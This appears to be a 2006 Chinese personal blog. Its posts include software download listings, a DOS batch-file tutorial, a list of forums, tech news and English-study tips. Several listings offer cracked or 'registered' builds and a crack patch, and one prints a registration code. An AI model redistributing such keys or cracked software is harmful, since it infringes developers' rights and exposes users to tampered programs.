点击下载



点击下载破解补丁



Windows 历史记录清理助手 V2.0 注册版  
软件大小:370KB
软件语言:简体中文
软件类别:国产软件 / 注册版 / 卸载清除
运行环境:Win9x/NT/2000/XP
界面预览:
软件更新:2006-3-21 9:47:30
页面刷新:2006-3-21 9:47:30
下载次数:41
软件评级:
联 系 人:未知  
开 发 商:未知
软件介绍:
你是否曾经有过上网的的记录被人查看的经历,是否有过电脑操记录被人偷窥的体验,是否曾经为电脑里一些没用的文件占用磁盘空间而苦恼过? 现在Windows 历史记录清理助手可以帮你解决这些问题. 本软件具有以下的特点: 1.先扫描后清理,让你自己可以选择要清理掉的文件,让你对你清理掉的文件看的明明白白. 2.你可以选择对系统记录文件的清理,还可以选择针对磁盘,选择自己定义要扫描的文件类型,清理掉你想清除的文件.


点击下载



姓名密码(Namekey) V7.8.1 破解版
软件大小:4540KB
软件语言:简体中文
软件类别:国产软件 / 破解版 / 测字算命
运行环境:Win9x/NT/2000/XP/ 界面预览:
软件更新:2006-3-21 9:44:39
页面刷新:2006-3-21 9:44:39
下载次数:2221
软件评级:
联 系 人:未知  
开 发 商:http://www.eastom.com/
软件介绍:
主要目的是为了介绍姓名学基础知识,解开姓名背后的秘密,让每一位龙的传人都能取一个既好听又好运的名字,真正做到“名正言顺”。  



点击下载



点击下载破解版



飘雪Flash播放器 V4.0 绿色精简版
软件大小:386k
软件语言:简体中文
软件类别:国产软件 / 破解版 / 媒体播放
运行环境:Win9x/NT/2000/XP/ 界面预览:
软件更新:2006-3-21 9:42:58
页面刷新:2006-3-21 9:42:58
下载次数:282
软件评级:
联 系 人:未知  
开 发 商:未知
软件介绍:
飘雪FLASH播放器是一款具有更换皮肤、快进快退播放、播放文件列表、可任意拖动进度条、记录FLASH影片信息、获取在线FLASH、快速抓取保存图片、搜索指定目录及子目录下FLASH影片、提供插件支持功能的FLASH影片播放器。它可以让您随心所欲地控制FLASH影片的播放。飘雪FLASH播放器操作简单,几乎不需要看随软件附带的帮助您就可以掌握使用它。飘雪FLASH有多种皮肤及插件供您选择。在播放动画方面,飘雪FLASH提供快进快退播放、单曲循环播放、列表播放、列表循环播放、MTV播放模式和正常播放模式,配合飘雪FLASH  For IE插件,你可以直接获取网页上的FLASH下载地址及下载FLASH动画,欢迎您下载使用!
V4.0精简版去除了原来的大部分功能,仅保留了:滚动条,列表播放,MTV模式,增加了RSS阅读功能.



点击下载



迅雷(Thunder) V5.1.5.189 去广告绿色版
软件大小:1738KB
软件语言:简体中文
软件类别:国产软件 / 免费版 / 下载工具
运行环境:Win9x/NT/2000/XP/ 界面预览:
软件更新:2006-3-21 9:42:19
页面刷新:2006-3-21 9:42:19
下载次数:123440
软件评级:
联 系 人:未知  
开 发 商:http://www.sandai.net/
软件介绍:
迅雷是一款新型的基于多资源超线程技术的下载软件,作为“宽带时期的下载工具”,迅雷针对宽带用户做了特别的优化,能够充分利用宽带上网的特点,带给用户高速下载的全新体验!同时,迅雷推出了“智能下载”的全新理念,通过丰富的智能提示和帮助,让用户真正享受到下载的乐趣。特点 ==================== 1. 全新的多资源超线程技术,显著提升下载速度; 2. 功能强大的任务管理功能,可以选择不同的任务管理模式; 3. 智能磁盘缓存技术,有效防止了高速下载时对硬盘的损伤; 4. 智能的信息提示系统,根据用户的操作提供相关的提示和操作建议; 5. 独有的错误诊断功能,帮助用户解决下载失败的问题; 6. 病毒防护功能,可以和杀毒软件配合保证下载文件的安全性; 7. 自动检测新版本,提示用户及时升级; 8. 提供多种皮肤,用户可以根据自己的喜好进行选择; 9. 可以限制下载速度,避免影响其他网络程序; 10. 支持多种语言; 11. 独有的文件校验功能,保证下载文件的完整性; 12. 完善的代理设置,允许不同的连接使用不同的代理; 13. 详尽的资源信息和连接信息,帮助用户更好的了解下载状态; 14. FTP资源探测器,配合迅雷使用可以方便的下载FTP上的文件; 15. 导入/导出下载列表,可以方便的和朋友分享下载列表; 16. 丰富的配置项,可以根据自己的需要进行个性化的设置。 =================== 迅雷5.0.0.71 Beta (2005.8.24) =========================== * 调整调度算法,下载更快更稳定 * 提供多种显示模式,可以根据需要选择不同的显示模式 * 增加浮动信息窗口,更方便的察看任务信息 * 详尽的功能介绍,帮助用户更好的使用迅雷 * 智能的操作提示,自动根据用户的使用情况提出相关的建议 * 错误诊断功能会自动提示用户任务失败的原因,并提供相关的解决办法 * 直观的资源显示模式,帮助用户更好的了解任务的工作状态 * 加强了批量下载功能,支持字母格式的通配符 * 增加工具栏配置,允许用户选择显示哪些按钮 * 新增下载完成后杀毒功能 * 允许导入未完成的下载文件 * 新增导入/导出下载列表文件功能 * 完善了自动升级系统,在有新版本时提示用户升级 * 增加只从原始地址下载的功能 * 支持多代理设置 * 增加清除以前使用存储目录的功能 * 提供了更详细的连接信息 * 增加下载完成后自动打开文件的功能 * 增加了搜索功能 * 改善了下到99%下载不完的问题 * 修正了一些http连接和ftp连接无法下载的问题 * 修正原始地址不支持断点续传的任务在暂停后再下载数据会丢失的问题 * 修正在没有连接成功时就创建数据文件的问题



点击下载迅雷(Thunder) V5.1.5.189 去广告绿色版



点击下载迅雷(Thunder) V5.1.4.174 正式版



曰梭万年历 V2006 Beta 2 绿色版
软件大小:未知
软件语言:简体中文
软件类别:国产软件 / 免费版 / 时钟曰历
运行环境:Win9x/NT/2000/XP/.Net/ 界面预览:
软件更新:2006-3-21 9:39:31
页面刷新:2006-3-21 9:39:31
下载次数:392
软件评级:
联 系 人:未知  
开 发 商:未知
软件介绍:
曰梭万年历所包含的年限起自明朝万历11年(公元1583年),止于公元5000年,长达3418年。万年历所包含的信息也十分丰富,除一般万年历程序中都有的公农历曰期对照、节气、节假曰、年月曰的天干地支以外,还有节气的交节时刻、月相和朔望时刻(均精确到分)、曰月食、每曰的十二时柱、三伏、九九和入梅、出梅曰期、每曰星座、世界各地时间对照等。从2.0版开始,还引入了全国约1800个城镇每天的曰出、曰落、天亮和天黑时间、每时每刻的太阳视位置等,足以满足绝大多数人对曰期、时间信息的各种要求。





点击下载



点击下载绿色版



磁盘文本救星 V1.0 绿色注册版
软件大小:299k
软件语言:简体中文
软件类别:国产软件 / 注册版 / 磁盘工具
运行环境:Win9x/NT/2000/XP
界面预览:
软件更新:2006-3-21 9:39:14
页面刷新:2006-3-21 9:39:14
下载次数:51
软件评级:
联 系 人:未知  
开 发 商:未知
软件介绍:
      软件的功能是把损坏的软盘中重要的文本信息救出并编辑保存。本软件恢复软盘数据的能力相当强,能够“抽出”许多大牌磁盘工具(如诺顿等)不能修复的软盘中的文本文件(也包括象.DOC这样的非纯文本的文档中的文本信息),据一位用户反映磁盘文本救星居然救出了他多年前损坏(已不能格式化,而且有点发霉)的软盘的BASIC源代码(不建议用磁盘文本救星处理发霉的软盘,这样会使你的软驱脏堵)。本软件针对的文本编码类型可以是亚洲文字(如中文)、欧洲文字(如英文)也可以是混合型的文本(如加中文注释的程序源代码)。
使用:
   软件运行后把损坏的软盘放入软驱,点击菜单:操作--->分析A:盘扇区,开始分析软盘数据,须等几分钟,即可在程序的编辑框内显示软盘的文本信息,编辑保存即可。恢复文本的类型可以在分析磁盘前通“语言”菜单选择(未注册只能选择“亚洲文字”)。



点击下载



腾讯QQ 2006 飘云版 3.5
软件大小:17978 KB
软件语言:简体中文
软件类别:国产软件 / 免费版 / OICQ专栏
运行环境:Win9x/NT/2000/XP/ 界面预览:
软件更新:2006-3-21 9:16:07
页面刷新:2006-3-21 9:17:32
下载次数:35463
软件评级:
联 系 人:未知  
开 发 商:未知
软件介绍:
腾讯QQ是新一代开放式即时通讯娱乐平台,它采用自由变换场景、个性在线心情等人性化设计,配合视频电话、信息群发、文件互传、在线游戏等使您在聊天的同时能边说、边看、边玩,从而带给您前所未有的聊天新感觉.
飘云 3.4版
1.采用原创的主动显IP技术,提高取IP的能力(暂时不支持tcp方式登录(包括使用代理))
2.修正几个小问题和进行几处小调整,使用更方便。




点击下载



点击下载



BT发动机 v6.0 中文简体绿色免费版
软件大小:897 KB
软件语言:简体中文
软件类别:国产软件 / 免费版 / 下载工具
运行环境:Win9x/NT/2000/XP/ 界面预览:
软件更新:2006-3-21 9:10:08
页面刷新:2006-3-21 9:10:09
下载次数:12867
软件评级:
联 系 人:未知  
开 发 商:http://www.soft4kids.com/cn/
软件介绍:
一个优化BT类文件下载速度的软件,在下载BT文件时将BT发动机打开,可以使 计算机处于优化模式,将BT文件下载速度提高100%左右,同时可以有效的保护硬盘.BT发动机尝试在使用其他BT客户端下载文件的同时,打开更多的计算机端口以加速下载,同时优化了网络系统,使计算机能够更有效的连接到BT种子和其他下载者,并最大限度的挖掘了WIN系统的保留带宽.
注册码:502759941689



点击下载BT发动机 6.13



点击下载BT发动机 v3.1 特别文件



点击下载BT发动机 v6.0 中文简体绿色免费版



Guardio(全能优化) V3.8.0.485 绿色版
软件大小:376 KB
软件语言:简体中文
软件类别:国产软件 / 免费版 / 系统辅助
运行环境:Win9x/NT/2000/XP/ 软件介绍:
免疫、卸载国内外近2000种垃圾插件/软件/网站,如3721、百度Bar等 的Windows安全工具,更可删除已安装软件和去除启动软件,去除系统/常用软件使用痕迹,清除IE的访问历史和Cookies,个性化系统和IE、检测局域网等
功能:
1、免疫国内外近2000种垃圾插件/软件,如3721、百度Bar等;
2、免疫恶意网站(超过360个)、域名(超过360个),和IE的安全->“受限制站点”和“受信任站点”完全匹配;
3、卸载16个垃圾插件/软件;
4、卸载已经安装的Windows软件;
5、去除各种(超过10个隐蔽的启动点)自动启动软件;
6、去除68个系统/常用软件的使用痕迹;
7、清除IE的浏览历史、Cookies等记录;
8、系统个性化设置(120个);
9、Windows进程管理(终止程序);
10、磁盘管理:超级清理、磁盘隐藏;
11、网络管理:网络连接管理、局域网信息(可删除共享);
12、IE个性化设置(76个)和IE其它设置;
13、系统信息:安全信息(Outlook Express的密码、IE的FTP用户名和密码、IE在浏览各种网页保存的用户名和密码)和其它信息;
14、常用工具:文件校验(MD5/CRC和文件对比)和GUID生成(批量);
15、设置Guardio(全能优化)的访问密码;
特点:
1、完全绿色软件,绝不捆绑任何软件/插件,所有文件一个,就是执行文件,不用安装,绝不产生任何文件和数据。
2、轻便:解压后才876K!
3、多语言支持(需要相应语言包)
4、在线更新功能:快捷键F9
全能优化(Guardio) 3.8.0.474 更新记录
1、改进:智能更新,最近的版本比较算法有缺陷,现在改用更可靠准确的算法,确保智能更新准确为您提供最新最强的优化和保护!
2、修复:核心库更新后造成版本冲突,导致部分功能无法运行,关闭后无法再次启动的问题;
3、修正:使用“谁在劫持我的计算机”功能时出现的“EXCEPTION_ACCESS_VIOLATION=AccessViolation”异常;
4、改进:分离智能更新功能为SmartUpdate.exe程序,彻底解决在更新之后出现的异常;
5、解决:原来的智能更新程序(SmartUpdate.exe)被McAFee误报为“New Malware.y”,现在已经解决,并更名为“IntelliUpdater.exe”,再次声明:智能更新程序绝对安全!

]


点击下载Guardio(全能优化) V3.8.0.482



点击下载Guardio(全能优化) V3.8.0.485 绿色版




posted @ 2006-06-29 09:27 MEYE 阅读(512) | 评论 (0)编辑 收藏
手把手教你写批处理

批处理的介绍

扩展名是bat(在nt/2000/xp/2003下也可以是cmd)的文件就是批处理文件。

首先批处理文件是一个文本文件,这个文件的每一行都是一条DOS命令(大部分时候就好象我们在DOS提示符下执行的命令行一样),你可以使用DOS下的Edit或者Windows的记事本(notepad)等任何文本文件编辑工具创建和修改批处理文件。

其次,批处理文件是一种简单的程序,可以通过条件语句(if)和流程控制语句(goto)来控制命令运行的流程,在批处理中也可以使用循环语句(for)来循环执行一条命令。当然,批处理文件的编程能力与C语言等编程语句比起来是十分有限的,也是十分不规范的。批处理的程序语句就是一条条的DOS命令(包括内部命令和外部命令),而批处理的能力主要取决于你所使用的命令。

第三,每个编写好的批处理文件都相当于一个DOS的外部命令,你可以把它所在的目录放到你的DOS搜索路径(path)中来使得它可以在任意位置运行。一个良好的习惯是在硬盘上建立一个bat或者batch目录(例如C:\BATCH),然后将所有你编写的批处理文件放到该目录中,这样只要在path中设置上c:\batch,你就可以在任意位置运行所有你编写的批处理程序。

第四,在DOS和Win9x/Me系统下,C:盘根目录下的AUTOEXEC.BAT批处理文件是自动运行批处理文件,每次系统启动时会自动运行该文件,你可以将系统每次启动时都要运行的命令放入该文件中,例如设置搜索路径,调入鼠标驱动和磁盘缓存,设置系统环境变量等。下面是一个运行于Windows 98下的autoexec.bat的示例:
@ECHO OFF
PATH C:\WINDOWS;C:\WINDOWS\COMMAND;C:\UCDOS;C:\DOSTools;C:\SYSTOOLS;C:\WINTOOLS;C:\BATCH
LH SMARTDRV.EXE /X
LH DOSKEY.COM /INSERT
LH CTMOUSE.EXE
SET TEMP=D:\TEMP
SET TMP=D:\TEMP

批处理的作用
简单的说,批处理的作用就是自动的连续执行多条命令。

这里先讲一个最简单的应用:在启动wps软件时,每次都必须执行(>前面内容表示DOS提示符):
C:\>cd wps
C:\WPS>spdos
C:\WPS>py
C:\WPS>wbx
C:\WPS>wps
如果每次用WPS之前都这样执行一遍,您是不是觉得很麻烦呢?

好了,用批处理,就可以实现将这些麻烦的操作简单化,首先我们编写一个runwps.bat批处理文件,内容如下:
@echo off
c:
cd\wps
spdos
py
wbx
wps
cd\

以后,我们每次进入wps,只需要运行runwps这个批处理文件即可。

常用命令

echo、@、call、pause、rem(小技巧:用::代替rem)是批处理文件最常用的几个命令,我们就从他们开始学起。
echo 表示显示此命令后的字符
echo off 表示在此语句后所有运行的命令都不显示命令行本身
@与echo off相象,但它是加在每个命令行的最前面,表示运行时不显示这一行的命令行(只能影响当前行)。
call 调用另一个批处理文件(如果不用call而直接调用别的批处理文件,那么执行完那个批处理文件后将无法返回当前文件并执行当前文件的后续命令)。
pause 运行此句会暂停批处理的执行并在屏幕上显示Press any key to continue...的提示,等待用户按任意键后继续
rem 表示此命令后的字符为解释行(注释),不执行,只是给自己今后参考用的(相当于程序中的注释)。

例1:用edit编辑a.bat文件,输入下列内容后存盘为c:\a.bat,执行该批处理文件后可实现:将根目录中所有文件写入 a.txt中,启动UCDOS,进入WPS等功能。

  批处理文件的内容为:         命令注释:

    @echo off           不显示后续命令行及当前命令行
    dir c:\*.* >a.txt       将c盘文件列表写入a.txt
    call c:\ucdos\ucdos.bat    调用ucdos
    echo 你好            显示"你好"
    pause              暂停,等待按键继续
    rem 准备运行wps         注释:准备运行wps
    cd ucdos            进入ucdos目录
    wps               运行wps 

批处理文件的参数

批处理文件还可以像C语言的函数一样使用参数(相当于DOS命令的命令行参数),这需要用到一个参数表示符“%”。

%[1-9]表示参数,参数是指在运行批处理文件时在文件名后加的以空格(或者Tab)分隔的字符串。变量可以从%0到%9,%0表示批处理命令本身,其它参数字符串用%1到%9顺序表示。

例2:C:根目录下有一批处理文件名为f.bat,内容为:
@echo off
format %1

如果执行C:\>f a:
那么在执行f.bat时,%1就表示a:,这样format %1就相当于format a:,于是上面的命令运行时实际执行的是format a:

例3:C:根目录下一批处理文件名为t.bat,内容为:
@echo off
type %1
type %2

那么运行C:\>t a.txt b.txt
%1 : 表示a.txt
%2 : 表示b.txt
于是上面的命令将顺序地显示a.txt和b.txt文件的内容。

特殊命令

if goto choice for是批处理文件中比较高级的命令,如果这几个你用得很熟练,你就是批处理文件的专家啦。

一、if 是条件语句,用来判断是否符合规定的条件,从而决定执行不同的命令。 有三种格式:

1、if [not] "参数" == "字符串" 待执行的命令

参数如果等于(not表示不等,下同)指定的字符串,则条件成立,运行命令,否则运行下一句。

例:if "%1"=="a" format a:

2、if [not] exist [路径\]文件名 待执行的命令
如果有指定的文件,则条件成立,运行命令,否则运行下一句。

如: if exist c:\config.sys type c:\config.sys
表示如果存在c:\config.sys文件,则显示它的内容。

3、if errorlevel <数字> 待执行的命令

很多DOS程序在运行结束后会返回一个数字值用来表示程序运行的结果(或者状态),通过if errorlevel命令可以判断程序的返回值,根据不同的返回值来决定执行不同的命令(返回值必须按照从大到小的顺序排列)。如果返回值等于指定的数字,则条件成立,运行命令,否则运行下一句。

如if errorlevel 2 goto x2

二、goto 批处理文件运行到这里将跳到goto所指定的标号(标号即label,标号用:后跟标准字符串来定义)处,goto语句一般与if配合使用,根据不同的条件来执行不同的命令组。

如:
goto end

:end
echo this is the end

标号用“:字符串”来定义,标号所在行不被执行。

三、choice 使用此命令可以让用户输入一个字符(用于选择),从而根据用户的选择返回不同的errorlevel,然后于if errorlevel配合,根据用户的选择运行不同的命令。

注意:choice命令为DOS或者Windows系统提供的外部命令,不同版本的choice命令语法会稍有不同,请用choice /?查看用法。

choice的命令语法(该语法为Windows 2003中choice命令的语法,其它版本的choice的命令语法与此大同小异):

CHOICE [/C choices] [/N] [/CS] [/T timeout /D choice] [/M text]

描述:
该工具允许用户从选择列表选择一个项目并返回所选项目的索引。

参数列表:
/C choices 指定要创建的选项列表。默认列表是 "YN"。
/N 在提示符中隐藏选项列表。提示前面的消息得到显示,
选项依旧处于启用状态。
/CS 允许选择分大小写的选项。在默认情况下,这个工具
是不分大小写的。
/T timeout 做出默认选择之前,暂停的秒数。可接受的值是从 0
到 9999。如果指定了 0,就不会有暂停,默认选项
会得到选择。
/D choice 在 nnnn 秒之后指定默认选项。字符必须在用 /C 选
项指定的一组选择中; 同时,必须用 /T 指定 nnnn。
/M text 指定提示之前要显示的消息。如果没有指定,工具只
显示提示。
/? 显示帮助消息。

注意:
ERRORLEVEL 环境变量被设置为从选择集选择的键索引。列出的第一个选
择返回 1,第二个选择返回 2,等等。如果用户按的键不是有效的选择,
该工具会发出警告响声。如果该工具检测到错误状态,它会返回 255 的
ERRORLEVEL 值。如果用户按 Ctrl+Break 或 Ctrl+C 键,该工具会返回 0
的 ERRORLEVEL 值。在一个批程序中使用 ERRORLEVEL 参数时,将参数降
序排列。

示例:
CHOICE /?
CHOICE /C YNC /M "确认请按 Y,否请按 N,或者取消请按 C。"
CHOICE /T 10 /C ync /CS /D y
CHOICE /C ab /M "选项 1 请选择 a,选项 2 请选择 b。"
CHOICE /C ab /N /M "选项 1 请选择 a,选项 2 请选择 b。"

如果我运行命令:CHOICE /C YNC /M "确认请按 Y,否请按 N,或者取消请按 C。"
屏幕上会显示:
确认请按 Y,否请按 N,或者取消请按 C。 [Y,N,C]?

例:test.bat的内容如下(注意,用if errorlevel判断返回值时,要按返回值从高到低排列):
@echo off
choice /C dme /M "defrag,mem,end"
if errorlevel 3 goto end
if errorlevel 2 goto mem
if errotlevel 1 goto defrag

:defrag
c:\dos\defrag
goto end

:mem
mem
goto end

:end
echo good bye

此批处理运行后,将显示“defrag,mem,end[D,M,E]?” ,用户可选择d m e ,然后if语句根据用户的选择作出判断,d表示执行标号为defrag的程序段,m表示执行标号为mem的程序段,e表示执行标号为end的程序段,每个程序段最后都以goto end将程序跳到end标号处,然后程序将显示good bye,批处理运行结束。

四、for 循环命令,只要条件符合,它将多次执行同一命令。

语法:
对一组文件中的每一个文件执行某个特定命令。

FOR %%variable IN (set) DO command [command-parameters]

%%variable 指定一个单一字母可替换的参数。
(set) 指定一个或一组文件。可以使用通配符。
command 指定对每个文件执行的命令。
command-parameters 为特定命令指定参数或命令行开关。

例如一个批处理文件中有一行:
for %%c in (*.bat *.txt) do type %%c

则该命令行会显示当前目录下所有以bat和txt为扩展名的文件的内容。

批处理示例

1. IF-EXIST

1)
首先用记事本在C:\建立一个test1.bat批处理文件,文件内容如下:
@echo off
IF EXIST \AUTOEXEC.BAT TYPE \AUTOEXEC.BAT
IF NOT EXIST \AUTOEXEC.BAT ECHO \AUTOEXEC.BAT does not exist

然后运行它:
C:\>TEST1.BAT

如果C:\存在AUTOEXEC.BAT文件,那么它的内容就会被显示出来,如果不存在,批处理就会提示你该文件不存在。

2)
接着再建立一个test2.bat文件,内容如下:
@ECHO OFF
IF EXIST \%1 TYPE \%1
IF NOT EXIST \%1 ECHO \%1 does not exist

执行:
C:\>TEST2 AUTOEXEC.BAT
该命令运行结果同上。

说明:
(1) IF EXIST 是用来测试文件是否存在的,格式为
IF EXIST [路径+文件名] 命令
(2) test2.bat文件中的%1是参数,DOS允许传递9个批参数信息给批处理文件,分别为%1~%9(%0表示test2命令本身) ,这有点象编程中的实参和形参的关系,%1是形参,AUTOEXEC.BAT是实参。

3) 更进一步的,建立一个名为TEST3.BAT的文件,内容如下:
@echo off
IF "%1" == "A" ECHO XIAO
IF "%2" == "B" ECHO TIAN
IF "%3" == "C" ECHO XIN

如果运行:
C:\>TEST3 A B C
屏幕上会显示:
XIAO
TIAN
XIN

如果运行:
C:\>TEST3 A B
屏幕上会显示
XIAO
TIAN

在这个命令执行过程中,DOS会将一个空字符串指定给参数%3。

2、IF-ERRORLEVEL

建立TEST4.BAT,内容如下:
@ECHO OFF
XCOPY C:\AUTOEXEC.BAT D:IF ERRORLEVEL 1 ECHO 文件拷贝失败
IF ERRORLEVEL 0 ECHO 成功拷贝文件

然后执行文件:
C:\>TEST4

如果文件拷贝成功,屏幕就会显示“成功拷贝文件”,否则就会显示“文件拷贝失败”。

IF ERRORLEVEL 是用来测试它的上一个DOS命令的返回值的,注意只是上一个命令的返回值,而且返回值必须依照从大到小次序顺序判断。
因此下面的批处理文件是错误的:
@ECHO OFF
XCOPY C:\AUTOEXEC.BAT D:\
IF ERRORLEVEL 0 ECHO 成功拷贝文件
IF ERRORLEVEL 1 ECHO 未找到拷贝文件
IF ERRORLEVEL 2 ECHO 用户通过ctrl-c中止拷贝操作
IF ERRORLEVEL 3 ECHO 预置错误阻止文件拷贝操作
IF ERRORLEVEL 4 ECHO 拷贝过程中写盘错误

无论拷贝是否成功,后面的:

未找到拷贝文件
用户通过ctrl-c中止拷贝操作
预置错误阻止文件拷贝操作
拷贝过程中写盘错误
都将显示出来。

以下就是几个常用命令的返回值及其代表的意义:
backup
0 备份成功
1 未找到备份文件
2 文件共享冲突阻止备份完成
3 用户用ctrl-c中止备份
4 由于致命的错误使备份操作中止

diskcomp
0 盘比较相同
1 盘比较不同
2 用户通过ctrl-c中止比较操作
3 由于致命的错误使比较操作中止
4 预置错误中止比较

diskcopy
0 盘拷贝操作成功
1 非致命盘读/写错
2 用户通过ctrl-c结束拷贝操作
3 因致命的处理错误使盘拷贝中止
4 预置错误阻止拷贝操作

format
0 格式化成功
3 用户通过ctrl-c中止格式化处理
4 因致命的处理错误使格式化中止
5 在提示“proceed with format(y/n)?”下用户键入n结束

xcopy
0 成功拷贝文件
1 未找到拷贝文件
2 用户通过ctrl-c中止拷贝操作
4 预置错误阻止文件拷贝操作
5 拷贝过程中写盘错误

3、IF STRING1 == STRING2

建立TEST5.BAT,文件内容如下:
@echo off
IF "%1" == "A" FORMAT A:

执行:
C:\>TEST5 A
屏幕上就出现是否将A:盘格式化的内容。

注意:为了防止参数为空的情况,一般会将字符串用双引号(或者其它符号,注意不能使用保留符号)括起来。
如:if [%1]==[A] 或者 if %1*==A*

5、GOTO

建立TEST6.BAT,文件内容如下:
@ECHO OFF
IF EXIST C:\AUTOEXEC.BAT GOTO _COPY
GOTO _DONE
:_COPY
COPY C:\AUTOEXEC.BAT D:\
:_DONE

注意:
(1) 标号前是ASCII字符的冒号":",冒号与标号之间不能有空格。
(2) 标号的命名规则与文件名的命名规则相同。
(3) DOS支持最长八位字符的标号,当无法区别两个标号时,将跳转至最近的一个标号。

6、FOR

建立C:\TEST7.BAT,文件内容如下:
@ECHO OFF
FOR %%C IN (*.BAT *.TXT *.SYS) DO TYPE %%C

运行:
C:>TEST7

执行以后,屏幕上会将C:盘根目录下所有以BAT、TXT、SYS为扩展名的文件内容显示出来(不包括隐藏文件)。



posted @ 2006-06-29 08:56 MEYE 阅读(355) | 评论 (0)编辑 收藏
2006年网上值得注册的论坛

晓风下载论坛 (关闭注册)
http://bbs.163down.com/
==============================================

好友联盟论坛(开放注册)
http://liuyoulei.zzzg.com/
==============================================

霏凡论坛(邀请注册)
http://bbs.crsky.com/

==============================================

龙卷风(邀请注册)
http://bbs.long-jf.com/
==============================================

赢政天下论坛(邀请注册)
http://bbs.winzheng.com/
==============================================

东度极品论坛(开放注册)
http://www.wuyazi.com/bbs/
==============================================

梦想三峡社区(开放注册)
http://www.mx3x.com/
==============================================

POP软件技术论坛(开放注册)
http://www.lhpop.com/
==============================================

阿榕论坛(开放注册)
http://bbs.arongsoft.com/
==============================================

999宝藏网论坛(邀请注册)
http://www.in9.cn/
==============================================

火蚂蚁论坛(邀请注册)
http://Hmay.SiPing.Cn/
==============================================

JUJU猫宽带宝藏网(开放注册)

http://www.jujumao.com/
==============================================

中国剑客技术联盟(邀请注册)
http://www.2dai.com/
==============================================

比特论坛 (开放注册)

http://bbs.abcbit.com/
==============================================

箫心IT乐园(开放注册)
http://bbs.52happy.net/
==============================================

番茄花园论坛(邀请注册)
http://www.tomatolei.com/bbs/
==============================================

龙帝国精品论坛(邀请注册)
http://www.msfans.net/
==============================================


拂晓雅阁(邀请注册)
http://www.fxyg.cn/
==============================================

剑啸天下(开放注册)
http://www.366tian.net#/
==============================================

琵琶行论坛(开放注册)
http://www.ppxbbs.com/
==============================================

荒村听雨论坛(开放注册)
http://www.hcty.com/bbs/
==============================================

星星精品论坛 (开放注册)
http://bbs.xxjp.org/
==============================================

木蚂蚁社区(开放注册)
http://bbs.mumayi.net/
==============================================

中国狂热IT技术联盟(开放注册)
http://forum.5icrack.com/
==============================================

珊瑚虫论坛(开放注册)
http://bbs.coralqq.com/
==============================================

龙族联盟论坛(邀请注册)
http://www.chinadforce.com/
==============================================

飘云阁(开放注册)
http://www.chinapyg.cn/
==============================================

中天论坛(邀请注册)
http://bbs.366tian.net/
==============================================

e城精品论坛(开放注册)
http://bbs.e666.cn/
posted @ 2006-06-29 08:53 MEYE 阅读(375) | 评论 (0)编辑 收藏
[美化技术]比Vista更震撼!真正3D桌面物理技术亮相

看了这段视频,你会发现微软在Vista中特别推出的3D Flips技术相比之下已经是纯纯粹粹的小儿科。当微软还在Vista中考虑“仅为美观”的3D桌面时,来自多伦多的图形开发小组已经将物理技术集成到未来桌面管理系统中。
  在这项新技术中,各种文件图标能够根据你的鼠标手势进行多角度分类、重叠,你可以和扔桌上的书本一样将一堆图标扔到桌面的角落,通过简单的鼠标手势就可以将散乱的桌面文件按照不同方式排列组合。
  例如,对待重要文件,你可以选择将其“贴在桌面墙上”、“放大”、“竖立起来”,对待数个需要完成的文件/事项,你可以将其统一角度扔到一堆,你可以将数个网络浏览器窗口层叠、上面再压几张图片---总而言之,你在真实的桌子上所做的一切,都可以在这种新3D桌面上完成。
  在物理3D桌面技术强大的功能以及实用性面前,普通语言已经无法确切描述,强烈推荐您下载该视频,体验下一代桌面技术的超高实用性和视觉效果。
  根据开发人员表示,这一技术将在未来的ACM CHI 2006以及DEMOCAMP上进行展示,开发人员将在未来将这种物理桌面技术集成于Windows系统。

下载完整讲解版视频--98MB


下载20秒说唱版简短视频(5MB)




用手中的笔将桌面上的几个图标划住

将一堆图标扔到特定的地方

查看文件就像在桌面摊开照片一样简单


相关关键字: vista 物理 桌面
posted @ 2006-06-29 08:52 MEYE 阅读(378) | 评论 (0)编辑 收藏
实用小软件

时代翻译通 V4.2 破解版
 

软件大小:556 KB
软件语言:简体中文
软件类别:国产软件 / 破解版 / 转换翻译
运行环境:WinXP,
Win2000, NT, WinME, Win9X
软件简介:
 
时代翻译通的最大特点是迅速和便捷,您只需输入所需翻译的内容,就能马上得到翻译结果,支持中
、英、法、德、俄、日、韩、荷兰、西班牙、意大利、葡萄牙等国家之间的语言互译,是翻译短小文章的
最佳选择。

进入下载
===============================================

一个好玩的小软件,在电脑上模拟飘雪,并可以有积雪,开着它内存占用也只500k
这是我的桌面飘了一会雪后的截图:

http://www.deepin.org/read-htm-tid-8204-fpage-15.html
posted @ 2006-06-28 20:15 MEYE 阅读(443) | 评论 (0)编辑 收藏

[转载]超强的触摸屏

 

February 10, 2006

The World of Smartboards, Sympodiums is about to change

The technology is multi-touch screens, developed at NYU (as per post on the Cult of Mac blog). And the interesting part is that Apple has patented these interactions, which means... a TabletMac?

Posted by rdivecha at February 10, 2006 11:45 AM

Comments

Vic - nice find - this is like the Tom Cruise movie "Minority Report" on a screen... :-)

http://mblog.lib.umich.edu/~rdivecha/archives/2006/02/the_world_of_sm.html

posted @ 2006-06-04 10:48 MEYE 阅读(337) | 评论 (0)编辑 收藏
发贴心情
学好英语的18条黄金法则

1.What is language for? Some people seem to think it is for practicing grammar rules and learning lists of words--the longer the words the better. That’s wrong. Language is for the exchange of ideas, for communication. 

  语言到底是用来干什么的呢?一些人认为它是用来操练语法规则和学习一大堆单词——而且单词越长越好。这               个            想          法是错误的。语言是用来交换思想,进行交流沟通的! 

      2. The way to learn a language is to practice speaking it as often as possible. 

       学习一门语言的方法就是要尽量多地练习说。 

      3. A great man once said it is necessary to dill as much as possible, and the more you apply it in real situations, the more natural it will become. 

  一位伟人曾说,反复操练是非常必要的,你越多的将所学到的东西运用到实际生活中,他们就变的越自然。 

4.Listening and imitating should always go together. Use the LIP method! Listen-Imitate-Practice! 

  听和模仿一定要同时做,使用“LIP”方法:听、模仿、操练! 

  5. Use all your senses to learn English. You must hear English, read English, touch English, smell English, and taste English. Feel English with your heart. Immerse yourself in this language. Begin to think in English. 

  运用一切感官学习英语。你必须听英语、说英语、触摸英语、闻英语,还要尝尝英语的味道。用心去感受英语。让自己沉浸在这门语言当中。学会用英语思考。 

 6. Relax! Be patient and enjoy yourself. Learning foreign languages is just a piece of cake. 

       放轻松!要有耐心,并且享受英语带来的乐趣!学习外语只不过是小菜一碟。 
7. Rome wasn't built in a day. Work harder and practice more. Your hardworking will be rewarded by God one day. God is equal to everyone! 

      冰冻三尺,非一日之寒。更加努力的学习,更加勤奋的操练,你所付出的一切将会得到上帝的报答,上帝是公平的。 

